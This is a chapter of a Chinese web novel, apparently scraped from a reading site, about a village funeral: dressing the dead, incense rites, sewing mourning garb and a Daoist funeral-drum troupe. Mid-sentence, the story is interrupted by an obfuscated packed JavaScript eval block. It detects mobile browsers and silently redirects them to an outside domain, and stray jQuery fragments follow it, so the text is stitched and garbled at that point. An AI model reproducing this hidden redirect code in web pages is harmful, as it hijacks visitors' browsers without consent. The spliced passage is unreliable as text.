123读书网 > 其他小说 > 垄上烟火(种田) > 62. 第 62 章
    到了六太爷家,房间里丛三老爷正在给六太爷净身,已经抹到脚后跟。旁边丛二奶奶焦急地对丛其道:“把你爹的寿衣穿在你身上,里衣、外衣都套上。”


    看丛其准备脱衣服,又强调:“你的衣服不用脱,直接套上去。”


    丛其木然地一个指令一个动作,孙氏说什么他做什么。实际上到目前为止,他的脑子都是空荡荡的,心跳得像要蹦出来一样。亲眼看着他爹烟气,他什么都做不了,周围都是闹哄哄的,有人在哭有人在喊。


    他几乎连哭的时间都没有,眼角通红,所有的人都在喊他的名字,要他做这个做那个。


    见他套好寿衣,孙氏抓住两套衣服的袖子,一把扯下来递给丛三老爷,让他给六太爷穿上。依次穿好裤袜、鞋子,孙氏皱眉:“怎么没有帽子?”


    丛其慌乱地答道:“还要帽子吗?只准备了寿衣,我娘也没说要帽子啊。”


    丛三老爷镇定插话:“先不管那个了,赶紧的,先抬到堂屋去,要烧纸钱、点香了。”


    几人忙把六太爷抬到门板上,又喊了六太爷排行老二、老三的两个儿子过来抬门板。堂屋东侧已摆放了三条长凳,门板放上后,丛三老爷急忙找来香炉和瓦盆。


    香炉放在六太爷头顶的案桌上,丛三老爷吩咐丛其,“给你爹把香点上。”自个蹲下去焚烧黄纸钱,意为“落气纸”。


    烧了一把纸钱后一抬头,“你怎么点了三炷香?”


    丛其拿着香的手不知所措:“那……那应该点几柱?”


    丛三老爷叹了口气,还是年轻不经事啊,“点一根就可以了,这是给你爹的引路香,点那么多他不是会迷路?本就是个老糊涂了,就靠着这根香引路呢。”


    丛其慌忙灭掉两根香,丛三老爷摇头,又去房里找来一盏油灯。点燃后小心翼翼置于六太爷头顶位置的门板下方,直至出殡,这盏油灯都不能熄灭。


    忙完这一切后,丛三老爷松了口气,喊来六太爷的三个儿子,“时间仓促了点,咱们赶紧把活分派一下,今儿晚上就要准备妥当。一等天亮要安排人报丧,客人来了一切都要井然有序,有条不紊才是。”


    三兄弟都表示一切听从他的安排,他们年轻不懂事,劳烦他多担待。


    丛三老爷倒是没推托,实在是再耽搁下去黄花菜都凉了,他们一个姓的都要遭人耻笑。


    搭灵棚、设灵堂、请道士做法事、置办酒席、抬灵床的人手安排……零零总总,不一而足,种种琐碎禁忌自不消说。


    所谓事死如事生,一场丧葬礼仪,既要让亡者满意,也要让活着的人安宁。


    男丁忙得团团转,女眷这边不必说,张月娘捧着崭新的白布欲哭无泪:“寿衣和白布年前那会就准备了,公爹身子骨时好时坏的,就一直放着没动。这段时间又是双抢,忙起来更是顾不上。公爹冷不丁就这么……孝服、孝帽一件都没做。”


    孙氏叹气:“现下说什么都晚了,都拿了针线开始缝吧,总不能等天亮客人来了,连个带的孝帽都没有,还不够笑掉人大牙的。”


    杏娘拉起白布比划尺寸好下剪刀:“缝大半个晚上应该就差不多了,少了的大不了临时缝制,要紧的是先赶出来一批再说。等到天亮,报丧的人要先穿上,咱们也要忙着洗菜、切菜,准备席面,到那时更脱不开身。”


    一番话说得本家的几个女人找针、穿线、剪布匹,忙个不休。


    天微微亮时,忙碌了大半个晚上的众人哈欠连连,强打起精神往脸上扑打冷水,稍微清醒后又往外头跑去。


    刚到巳时,灶房里一片忙碌喧哗,水汽沸腾,长长的案板上堆满了鸡鸭鱼肉蔬菜。几个年轻的本家媳妇菜刀切得飞快,“笃笃”声不绝于耳,院子里早搭起大灶蒸饭。


    突然堂屋传来几声锣鼓敲打声,原来是请的道士先生到了。


    杏娘忙放下菜刀,边擦手边往堂屋走。找到那一身黑色道袍、清瘦的背影,忙跑过去打招呼:“爹,您来了,过早了吗?”


    李老爷子转过身,笑着道:“吃过了,你不用理会我,忙你自个的去。”


    杏娘没动,笑眯眯问:“那您晚上去我家过夜呗。”


    “说了要你别管,你还问?”李老爷子敲了女儿一记,“现在不方便,主家自有安排,一切听从主家的便是。”


    又催女儿去后院:“这是你本家的大事,你在外面偷懒被人看到了不好,你先去帮忙,说话的时间有的是。”


    看女儿翘嘴不乐意,忙安抚几句,直到她裂开嘴角才罢休。


    杏娘跟她二哥和另外的四个叔伯打过招呼,转身往灶房走。


    这次请来的丧鼓帮子来了六人,以李老爷子为首都来自白水湾。众人准备妥当,霎时鼓乐齐鸣,铜盘音色浑厚、声音宏亮,唢呐雄壮有力、高亢嘹亮,极具穿透力的乐声在泮水村上空飘荡。


    声乐持续了一刻钟,提醒人们这家有白事要办。乐声止住,李老爷子独特的嗓音响起,悠扬婉转,庄严肃穆,带着一股奇特的韵律。


    牛皮大鼓置于木脚盆上,李老爷子坐于灵堂棺木左侧,唱词简短、朗朗上口,配合着击鼓声,一种神秘莫测的氛围油然而生。唱了几句后,鼓声急骤,间或敲打鼓边,最后一棒落下,铜盘、唢呐等乐器猛然响起,吹出来的节奏显然跟李老爷子的唱腔吻合。


    鼓乐声重复两遍后停歇,李老爷子重又击鼓传唱,如此往复,是为“丧鼓”。


    玉陵县独有的丧葬文化中最直接的体现就是“打丧鼓”,虽为丧事所唱,但演唱者丧而不悲。将肃穆的灵堂变为歌场,悲哀与热闹,颂亡与慰生,合二为一,带有浓郁的楚文化巫蛊色彩。


    丧鼓曲目丰富,内容繁杂,既有传统唱本曲词,也有表演者有感而发,现编现唱而成。从盘古开天辟地唱到梁山伯与祝英,唱尽人间悲欢,唱遍世间百态。


    唱腔以本地俚语为主,依托曲词内容,或沉郁悲怆,或慷慨悠扬、荡气回肠。唱腔为上下句式,无限反复,传唱性极高。


    本地打丧鼓帮子众多,多由农人、手艺人等组成,几乎每两、三个村子就有一个班底。平时干农事,有丧事时奏曲,互不干扰,且人数不一,多则十数人,少则三五人。


    在葫芦镇这一带数白水湾的班底最受欢迎,无他,有李老爷子坐镇念诵经文,超度亡灵,祈求往生。这个班底拢共十人,按照主家要求的人数,大家轮流着来,除了常驻人口老李家的两个。


    别家班子虽也有道士在入殓、下葬时念咒,可那些人平日里就是在田里劳作的壮汉,只有丧礼上才套上道袍作个临时道士。


    不像李老爷子,就那仙风道骨,眉目轻雅的样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466531|169588||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    貌,不穿道袍也像个道士,更何况人本来干的就是道士的营生。打丧鼓跟寻常打零工不同,班子里的每个人按照两个工算:日工和夜工,所谓“谁家开路添新鬼,一夜丧歌唱到明。”


    当然,庄户人家不像豪族大户那样唱整日整夜,最多唱到子时末止,第二天接着唱。


    原本按照李老爷子的意愿,他的年岁逐渐增大,应该退出丧鼓班子。奈何有丧事的人家觉得少了李老爷子,就像菜里缺了盐,吃起来无滋无味,这肯定是不行的。


    即便白水湾的丧鼓班子比别家贵了一二十文,只要李老爷子肯露面,大家也是心甘情愿的。


    于是死乞白赖,软磨硬泡求着李老爷子出山,也不要他老人家唱词、念经,单只坐在那喝茶也是好的。更别提守夜了,早早就给他安排好夜间休憩的住所。


    一两个来求也就罢了,若是人人来求,李老爷子也只得重操旧业,干起老本行。当然,他老人家只在重要时刻唱几句,念经诵咒全靠自觉,其余时间全由李老二代劳。


    在李家四个儿子中,只有李老二继承了李老爷子在丧葬这一块的衣钵。


    这也是有缘由的,要说对李家后代子孙数量贡献最大的人选,非李老二莫属。他足足生养了四个儿子三个女儿,孙子女、外孙子女的数量可想而知。别说李老爷子了,他自个都认不全。


    这般多的儿孙总要养活吧,靠老爹是不行的,老爹老娘给他们娶妻生子、拉扯孙辈尽了全力,况且一碗水也要端平。若想过得好,还得靠自个。


    单只种田也不行,最多保证全家不饿肚子,其他的别想,故而李老爷子给老二指了条明路——打丧鼓。


    李老二不是个聪明人,充其量憨厚老实,勤劳朴素,他知道爹是为了他家着想。


    捧了丧鼓的唱本曲词日夜不停的背,两眼一睁就是念念有词,除了必要的吃喝拉撒睡,其余时间统统在记背。


    功夫不负有心人,李老二终于背熟了几首简单易懂、极易上口的曲目。在他惴惴不安、日夜难眠时,李老爷子拉了他就上场,是骡子是马,拉出来溜溜就知道。


    何况所谓精湛,不过是唯手熟尔。


    就这么日积月累地唱了十几年,李老二唱熟了几十首曲目,也学会了一些重要的经文。当然,要他现编现唱是不可能的,他没那能耐,下辈子投胎说不定有可能。


    靠着平时种田,有丧事时跟着他爹出工,李老二在兄弟们当中过得中等偏上,倒也可喜可贺。


    李老爷子唱了小半个时辰,念了一篇经文,做完一场法事,就坐到旁边喝茶去了,剩余由李老二接手。


    跟他爹比,他的嗓音更加雄浑有力,传得更远,少了他爹的那种清脆、明朗。


    庄户汉子嘛,有的是力气,中气足的很,这也是他能替代老爹的一个重要原因。打铁还需自身硬,旁人就是想找茬,那也得有个由头不是。


    天色大亮,不断有接到丧报后赶来吊唁的客人。六太奶奶和几个儿媳一直坐在门板旁守灵,灵堂正中跪着六太爷的男性子孙后代,儿子或孙子都可以,跟六太爷同属一支的男性族人也可跪拜。


    客人来了女眷哀哀哭泣,客人祭奠完毕后,孝子叩谢。


    突然,一声凄厉的女声在灵堂前响起:“爹呀,您怎么不等等我啊,我的爹爹。”